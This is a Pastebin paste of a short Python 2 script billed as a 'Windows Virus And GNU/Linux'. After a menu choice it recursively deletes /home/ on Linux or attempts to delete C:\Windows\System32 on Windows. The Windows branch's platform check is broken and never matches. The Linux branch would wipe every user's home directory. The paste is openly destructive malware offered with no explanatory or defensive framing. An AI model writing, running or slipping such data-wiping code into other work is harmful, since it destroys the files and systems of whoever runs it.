Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/python
- import sys, shutil
- print """
- ----------------------
- -----+_) Windows Virus And GNU/Linux (_+---
- ----------------------\n
- [1] WIndows
- [2] Linux
- """
- def Linux():
- try:
- if sys.platform == "linux2":
- shutil.rmtree("/home/")
- print "Success"
- except OSError:
- print "please try again it is not a directory"
- def Windows():
- if sys.platform == "win, win32":
- shutil.rmtree ("C:\Windows\System32")
- pilihan =input("choice 1 or 2 ?")
- if pilihan == 1:
- Windows()
- elif pilihan == 2:
- Linux()
- else:
- print "You Mush choice 1 or 2 !!! "
Advertisement
Add Comment
Please, Sign In to add comment